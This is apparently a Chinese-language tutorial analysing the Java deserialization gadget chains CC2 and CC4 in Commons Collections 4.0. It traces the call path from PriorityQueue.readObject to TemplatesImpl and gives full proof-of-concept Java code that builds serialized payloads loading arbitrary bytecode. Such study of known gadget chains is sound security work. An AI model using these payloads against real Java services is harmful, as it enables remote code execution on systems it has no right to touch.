前言 简单来说CC2就是从 Serializable 的 readObject() ⽅法到 Transformer 的 transform() ⽅法的调⽤链,首先 CommonsCollections3 中无法使用,因为在3的版本中 TransformingComparator 无法序列化。其次 只有 CommonsCollections4的4.0 可以使用 ,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化,进而衍生出CC4。
环境 添加maven依赖
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
CC2分析 调用链 ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->InvokerTransformer.transform() ->TemplatesImpl.newTransformer() ->…………
PriorityQueue 的 readObject() 调用 heapify()
调用siftDown
调用siftDownUsingComparator
调用 comparator的 compare 方法
在TransformingComparator 的compare方法 调用 transform 方法,这里就可以接上 InvokerTransformer 或者 ChainedTransformer
再接上了 TemplatesImpl 的 **newTransformer **方法加载恶意字节(CC3的利用方法)
大概流程
public class PriorityQueue <E > extends AbstractQueue <E > implements java .io .Serializable { private transient Object[] queue; private final Comparator<? super E> comparator; private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; } }
构造细节 在readObject中
s.defaultReadObject()
调用默认的方法,利用readInt读取了数组的大小,接着通过for循环中s.readObject()
读取Queue中的元素,这里需要queue必须有元素,后续利用链需要
进入heapify()
>>>意思是无符号右移,忽略符号位,空位都以0补齐
这里**(size >>> 1) - 1** 需要大于等于0,所以size也就需要为2,所以就需要添加两个元素
priorityQueue.add(1 ); priorityQueue.add(1 );
进入siftDown函数,传入 0与queue的第一个元素
comparator不为空进入siftDownUsingComparator传入依然是 0与queue的第一个元素
此时size=2, half=1, k=0, x=queue[0] 进入while循环child=1, c=queue[1], right=2 所以进入 if (comparator.compare(x, (E) c) <= 0)
然后接上后面的链子
这里就有个小问题,既然在这里传进来只用obj1,也就是queue[0]就可以达到目的,为什么poc会添加两个templates,这样构造不也可以吗,其实也是可以的
Object[] objects = new Object[]{templates,1};
poc import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2 { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop/Calc.class" )); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "aaa" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer" , new Class[]{}, new Object[]{}); TransformingComparator comparator = new TransformingComparator(invokerTransformer); PriorityQueue priorityQueue = new PriorityQueue(2 ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] objects = new Object[]{templates,1 }; setFieldValue(priorityQueue, "queue" , objects); setFieldValue(priorityQueue, "comparator" , comparator); unserialize("ser.bin" ); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
CC4分析 上面 CC2 说了因为 CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承 ,导致无法序列化。所以我们是否可以不使用 InvokerTransformer 呢?于是便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer
调用链 ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->…………
poc import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4 { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop/Calc.class" )); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "aaa" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2 ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] objects = new Object[]{templates,1 }; setFieldValue(priorityQueue, "queue" , objects); setFieldValue(priorityQueue, "comparator" , comparator); serialize(priorityQueue); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }